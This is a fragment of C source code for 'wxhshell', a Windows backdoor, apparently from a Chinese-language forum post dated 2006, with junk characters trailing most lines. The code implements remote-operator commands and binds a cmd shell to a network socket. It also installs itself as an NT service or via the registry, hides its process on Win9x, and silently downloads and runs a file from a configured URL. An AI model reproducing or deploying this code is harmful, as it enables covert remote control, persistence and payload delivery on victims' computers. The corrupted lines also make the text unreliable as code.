`tl-] ^Y2  
    switch(cmd[0]) { 3=%G{L16-  
  ^grDP*;W  
  // 帮助 dcfwUjp[  
  case '?': {  gOy{ RE  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 6xu%M&ht  
    break; fr&p0)85>B  
  } nIqF:6/  
  // 安装 8tzL.P^  
  case 'i': { TW=N+ye^1(  
    if(Install()) 1G'pT$5&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $_gv(&ZT  
    else n2Q ?sV;m  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )M@^Z(W/a  
    break; zo@,>'m  
    } D!i|KI/  
  // 卸载 Uh'W d_?  
  case 'r': { BRv#`  
    if(Uninstall()) ed#>q;jX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ::@JL  
    else S KGnx  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u@Bgyt7Y  
    break; Wj, {lJ,  
    } ""h%RhcZ\  
  // 显示 wxhshell 所在路径 R S] N%`]  
  case 'p': { _B\87e  
    char svExeFile[MAX_PATH]; TJuS)AZ C  
    strcpy(svExeFile,"\n\r"); ?i}wm`  
      strcat(svExeFile,ExeFile); ACF_;4%&  
        send(wsh,svExeFile,strlen(svExeFile),0); GE\({V.W  
    break; <80M$a g  
    } Pt'=_^Io  
  // 重启 }MtORqK  
  case 'b': { T7N\b]?j@Y  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,? Q1JZPy@  
    if(Boot(REBOOT)) Ad4-aWH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :)Da^V  
    else { Z 2lX^z  
    closesocket(wsh); Y>K8^GS  
    ExitThread(0); xFyBF[c  
    } i(xL-&{  
    break; S}K-\[i?  
    } eYPIZ{S7h  
  // 关机 \p)eY#A  
  case 'd': { NC|VZwQtm  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); lLEEre  
    if(Boot(SHUTDOWN)) )7Oj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); " pL5j  
    else { qnO/4\qq  
    closesocket(wsh); ryTtGx%a  
    ExitThread(0); AS lmW@/9v  
    } KC54=Rf  
    break; \]Rmq_O  
    } XOEf,"  
  // 获取shell O\w-hk  
  case 's': { mHNqzdaa  
    CmdShell(wsh); ,_:6qn{  
    closesocket(wsh); ^L'<%_# .  
    ExitThread(0); j0S[JpoF  
    break; / q^_ 'Lp  
  } d)0 hAdh  
  // 退出 @! jpJ}  
  case 'x': { &p=(0$0&-  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Vtk}>I@%  
    CloseIt(wsh); ]jV1/vJ-!  
    break; Bc}e ??F  
    } MA v-#  
  // 离开 {tnhP^C3>  
  case 'q': { t0)hd X  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); wT:mfS09N  
    closesocket(wsh); W}k)5<C4v  
    WSACleanup(); EHt(! ;?q  
    exit(1); "mcuF]7F  
    break; P2 +^7x?  
        } G)%r|meKGB  
  }  "-G&]YMl  
  } K Z0%J5  
wVUm!Y  
  // 提示信息 g+=f=5I3  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y+3r{OI  
} vFK(Dx  
  } /fxv^C82yv  
^2mCF  
  return; 8FBXdk?A  
} ~-NlTx  
\Qz  
// shell模块句柄 M_\)<a(8  
int CmdShell(SOCKET sock) +4K'KpFzZ  
{ lAx8m't}6  
STARTUPINFO si; =UF mN"  
ZeroMemory(&si,sizeof(si)); &P>a  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $p.0[A(N  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @|9V]bk  
PROCESS_INFORMATION ProcessInfo; {c=H#- A  
char cmdline[]="cmd"; A<cnIUW  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); YGkk"gFIA  
  return 0; ;3N>m| ?D=  
} MT.D#jv&  
$-_@MT~  
// 自身启动模式 Vxim$'x!  
int StartFromService(void) \@*D;-b  
{ <{A|Xs  
typedef struct yv.(Oy  
{ 6s&%~6J,  
  DWORD ExitStatus; hgF4PdO1e  
  DWORD PebBaseAddress; hkR Jqta)  
  DWORD AffinityMask; yA-UXKT  
  DWORD BasePriority; )Jd{WC.  
  ULONG UniqueProcessId; 8Sg :HU\  
  ULONG InheritedFromUniqueProcessId; M1=y-3dW3  
}   PROCESS_BASIC_INFORMATION; "\x\P)j0>  
"z ;ky8  
PROCNTQSIP NtQueryInformationProcess; SR&'38UCe  
+L<x0-&  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; F5/,H:K\  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; .k:Uj-&  
F7qQrE5bl  
  HANDLE             hProcess; I=wA)Bli1p  
  PROCESS_BASIC_INFORMATION pbi; >tVD[wVF0  
uHpSE?y/  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); #kL4Rm;  
  if(NULL == hInst ) return 0; @`#"6y?  
*6 1G<I  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^1w*$5YI  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); he1W22  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); +#0,2 wR#  
%^66(n)  
  if (!NtQueryInformationProcess) return 0; dFVm18  
k6W  [//  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); {w|KWGk2  
  if(!hProcess) return 0; \l9S5%L9  
]h0K*{  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Xw[|$#QKM  
]{'lV~fc  
  CloseHandle(hProcess); 5$p7y:  
5qx$=6PT  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); h"5!puN+  
if(hProcess==NULL) return 0; gay6dj^  
.f]2%utHB  
HMODULE hMod; tcU4$%H/  
char procName[255]; %["V "{ z  
unsigned long cbNeeded; )rFcfS+/  
!]z6?kUK  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 8q#Be1u<s2  
3"J85V%h]n  
  CloseHandle(hProcess); J`4{O:{4  
nPS:T|*G  
if(strstr(procName,"services")) return 1; // 以服务启动 F),wj8#~>-  
bp?4)C*R  
  return 0; // 注册表启动 *ioVLt,:R  
} FlQ(iv)P  
\@i4im@%xU  
// 主模块 ~}fQ.F*7R  
int StartWxhshell(LPSTR lpCmdLine) lGAKHCs  
{ 51lN,VVD  
  SOCKET wsl; X0QLT:J b  
BOOL val=TRUE; 8f0Ytfhw  
  int port=0; h16i]V  
  struct sockaddr_in door; qkbxa?&X  
T=n)ea A  
  if(wscfg.ws_autoins) Install(); 79JU   
zU$S#4/C  
port=atoi(lpCmdLine); 7v^V]&&s  
f~NGIlgR  
if(port<=0) port=wscfg.ws_port; v{dvB:KP5X  
/Sag_[i  
  WSADATA data; &=d0'3k>  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; dW8M^A&  
Hkck=@>8H*  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   f^63<gqY  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); (ug^2WG Yq  
  door.sin_family = AF_INET; >X"V  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); U1wsCH3+n  
  door.sin_port = htons(port); y! lEGA7  
R%Y#vUmBV{  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { *?GV(/Q  
closesocket(wsl); M(_1'2  
return 1; oI6l`K$  
} xJ(4RaP  
bq<DW/  
  if(listen(wsl,2) == INVALID_SOCKET) { MSw:Ay [9  
closesocket(wsl); >(aGk{e1  
return 1; ^Q'^9M2)  
} ,ruL7|T&  
  Wxhshell(wsl);  %wYGI  
  WSACleanup(); f(o1J|U{  
R} #6  
return 0; n 7Bua  
=U_WrY<F  
} 9. 7XRxR^  
U[Pll~m2b  
// 以NT服务方式启动 UvtSNP&/2d  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) @}{~Ofs  
{ mar BVFz~  
DWORD   status = 0; ZKv^q%92  
  DWORD   specificError = 0xfffffff; ' N@1+v=  
wSMP^kG  
  serviceStatus.dwServiceType     = SERVICE_WIN32; X~ AE??  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; C)r!;u)AZH  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; :i4>&4j  
  serviceStatus.dwWin32ExitCode     = 0; ]ctlK'.  
  serviceStatus.dwServiceSpecificExitCode = 0; =h4* ^NJ  
  serviceStatus.dwCheckPoint       = 0; uD2v6x236  
  serviceStatus.dwWaitHint       = 0; Q]q`+ Z65  
$1h,<$5H  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); x[,HK{U|t  
  if (hServiceStatusHandle==0) return; CqRG !J  
A{ :PpYs  
status = GetLastError(); WzC_M>_  
  if (status!=NO_ERROR) Zljj  
{ k8}*b&+{vz  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; i5>]$j1/  
    serviceStatus.dwCheckPoint       = 0;  !XvQm*1  
    serviceStatus.dwWaitHint       = 0; CCp8,  
    serviceStatus.dwWin32ExitCode     = status; ]&')# YO  
    serviceStatus.dwServiceSpecificExitCode = specificError; W+&w'~M  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ctv=8SFv(  
    return; <3wfY #;><  
  } z4 snH%q  
^b{w\HZ  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; F0O/SI(cA  
  serviceStatus.dwCheckPoint       = 0; ccUq!1  
  serviceStatus.dwWaitHint       = 0; ? (&)p~o  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); }=':)?'-.  
} O43emL3  
/mb?C/CI  
// 处理NT服务事件,比如:启动、停止 ;'.[h*u~<  
VOID WINAPI NTServiceHandler(DWORD fdwControl) V Q6&7@ c  
{ H0zKL]D'>  
switch(fdwControl) ;E8.,#/a  
{ DA5kox&cU  
case SERVICE_CONTROL_STOP: f_*Bd.@  
  serviceStatus.dwWin32ExitCode = 0; \;z *j|;B  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; +Mb;;hb  
  serviceStatus.dwCheckPoint   = 0; %"2 ;i@  
  serviceStatus.dwWaitHint     = 0; o<*H!oyP\  
  { nQ/R,+6h  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); q;dg,Om  
  } mCa [?  
  return; nQ*9|v4  
case SERVICE_CONTROL_PAUSE: 6R%Ra  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; (p2jigP7a[  
  break; #S57SD  
case SERVICE_CONTROL_CONTINUE: ,4bqjkX5q  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; }n+#o!uEf  
  break; 0] 'Bd`e  
case SERVICE_CONTROL_INTERROGATE: `u%`N j  
  break; 3d qj:4[f  
}; Sga/i?!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); iWbrX1 I+  
} 7V6gT}R  
oUMY?[Wp  
// 标准应用程序主函数 n+db#qAj5  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) UN7>c0B  
{ 1gEeZ\B-&  
TA=VfA B  
// 获取操作系统版本 K&zp2V  
OsIsNt=GetOsVer(); Xsvf@/]U  
GetModuleFileName(NULL,ExeFile,MAX_PATH); *_ 2db   
29(s^#e8A  
  // 从命令行安装 +I$ k_  
  if(strpbrk(lpCmdLine,"iI")) Install(); 1(z&0Y;  
VTOZ #*f  
  // 下载执行文件 kW"6Gc&HUN  
if(wscfg.ws_downexe) { -!OFt}  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) j[z o~Y4z  
  WinExec(wscfg.ws_filenam,SW_HIDE); VKcO]_W1  
} ou;E@`h;x  
"0JG96&\  
if(!OsIsNt) { R;2tb7o  
// 如果时win9x,隐藏进程并且设置为注册表启动 K3QE>@']  
HideProc(); :"Vfn:Q  
StartWxhshell(lpCmdLine); P&Vqr  
} r+T@WvS%W  
else -e6~0%X  
  if(StartFromService()) 0_d,sC?V  
  // 以服务方式启动 _^+z2m+ ~N  
  StartServiceCtrlDispatcher(DispatchTable); ZP>KHiA  
else ;9>(yJI+  
  // 普通方式启动 J7FCW^-`3  
  StartWxhshell(lpCmdLine); 0^l|W|.Z  
r|U'2+vn  
return 0; ][ri A  
}
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只看该作者 1 发表于: 2006-10-10
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